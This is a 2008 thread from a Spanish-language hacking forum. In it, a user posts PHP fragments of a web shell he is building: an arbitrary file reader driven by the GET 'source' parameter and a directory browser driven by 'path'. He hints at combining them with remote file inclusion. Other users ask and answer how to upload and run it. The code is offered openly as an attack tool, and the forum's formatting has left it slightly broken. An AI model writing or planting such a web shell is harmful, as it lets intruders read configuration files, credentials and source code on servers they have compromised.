hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
13 de Mayo de 2008, 12:31:59
Noticias: Te gusta el nuevo diseño?
Opina al respecto en: Este Tema

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Desarrollo Web
| | |-+  Php (Moderador: Th3 Cr0w)
| | | |-+  Ver Sources de archivos =D
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ver Sources de archivos =D  (Leído 107 veces)
vengador de las sombras
Experto
****

Votos: 27
Desconectado Desconectado

Mensajes: 509


¿4R3 U 1NF3KT3D?


Ver Perfil
« : 27 de Abril de 2008, 01:10:52 »

Bien, aquí os dejo una parte de una WebShell que estoy codeando para ArgeniversoHac k:

Código:
<?php
if(isset($_GET['source'])){
$source=explode('/',$_GET['source']);
$sourceb=array_reverse($source);
$asf=$_GET["source"];
echo 
'<div style="top: 123%"><textarea cols="100" rows="30" READONLY color=red>';
@
$lectura=fopen($_GET['source'],'r');
@
$lectura=fread($lectura,filesize($asf));
/*Esto es imrpotante, así evitamos ejecutar html */
echo htmlentities($lectura);
echo 
'</textarea></div><!--';
exit();
}
?>


El archivo que queramos ver, debe de estar en nuestro servidor (a menos que sea un RFI Grin). Simplemente pondríamos nuestroarchivo .php?source=AquirutaYaRcHiVo

Esto viene bien unido a un listador de archivos...:

Código:
<?php
if($_GET['path']==""){
$lala=dirname($lugarshell);
@
$directorio=dir($lala);
$ruta=$lala;
}
else{
@
$directorio=dir($_GET['path']);
$ruta=$_GET['path'];

}
?>

<?php 
$path
="$ruta"
$directorio=dir($path); 

echo 
"<br><br>"

while (
$archivo $directorio->read()) 
/* Con esto voy a intentar hacer que cuando sea un directorio, haga ?path, para ir a ese directorio*/

  
$extension=filetype($ruta.'/'.$archivo);
 if (
$extension=="dir"){
 echo 
"<font color=red><b>(<a href=?path=$ruta/$archivo>$archivo</a>)</b></font><br>"

}
/* Y si en vez de ser un directorio, es un archivo, vemos su Codigo Fuente =D */
else {
echo 
"<a href=?source=$ruta/$archivo>$archivo</a><br>"
}

$directorio->close(); 
echo 
"<br><br>";
?>

Es normal que las variables no sepais que son (como lugarshell). $lugarshell=$_SERVER[SCRIPT_FILENAME]

Bytes a todos.
« Última modificación: 27 de Abril de 2008, 01:12:02 por vengador de las sombras » En línea



-Convocatorias a Moderadores-
Puedes mandar un MP para decir que te molesta mi firma Wink. LockPicking != Hacking
MatU_MalO
Experto
****

Votos: -16
Desconectado Desconectado

Mensajes: 506


Wallah!


Ver Perfil WWW
« Respuesta #1 : 27 de Abril de 2008, 02:33:35 »

Aunque leo y leo no lo entiendo xDDDD
Como hago para hacerlo funcionar Tongue
No entendi estas partes

Citar
Simplemente pondríamos nuestroarchivo .php?source=AquirutaYaRcHiVo

Citar
listador de archivos
En línea

Aporta a la Galería-Mi Troyan- EspiaCams

Justicia por los diablitos! Devuelvanos a los diablitos!

DarkAngel
Colaborador
****

Votos: 5
Desconectado Desconectado

Mensajes: 643



Ver Perfil
« Respuesta #2 : 27 de Abril de 2008, 04:28:35 »

Es bastante simple, por lo que vi en el primer código lo que hace es capturar la variable "source" que se pasa por el método "get" y muestra el contenido del archivo pasado por "get" en un textarea no modificable y usa la función htmlentities para que se muestren los tags html como texto común y corriente.

El segundo no lo he leído todavía.

En conclusión, si quieres hacer funcionar el primero, simplemente copias y pegas el código, lo guardas como archivo.php, lo subes a algún servidor, y lo abres así:

http://pagina.com/archivo.php?source=NOMBREARCHIVO.extencion

siendo NOMBREARCHIVO. extencion cualquier archivo, como por ejemplo hola.html o quetal.html
En línea


knowledge is power...
MatU_MalO
Experto
****

Votos: -16
Desconectado Desconectado

Mensajes: 506


Wallah!


Ver Perfil WWW
« Respuesta #3 : 28 de Abril de 2008, 08:58:47 »

Muchas gracias  Grin
la extension tiene que ser html o puede ser cualquiera??
En línea

Aporta a la Galería-Mi Troyan- EspiaCams

Justicia por los diablitos! Devuelvanos a los diablitos!

vengador de las sombras
Experto
****

Votos: 27
Desconectado Desconectado

Mensajes: 509


¿4R3 U 1NF3KT3D?


Ver Perfil
« Respuesta #4 : 28 de Abril de 2008, 09:04:39 »

Muchas gracias  Grin
la extension tiene que ser html o puede ser cualquiera??

.txt, .html, .php, etc

Si lo subes a un server verás el funcionamiento . Como dijo DarkAngel es muy simple, pero a mi me sirve mucho para ver los archivos que hay en el directorio XD.


En línea



-Convocatorias a Moderadores-
Puedes mandar un MP para decir que te molesta mi firma Wink. LockPicking != Hacking
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online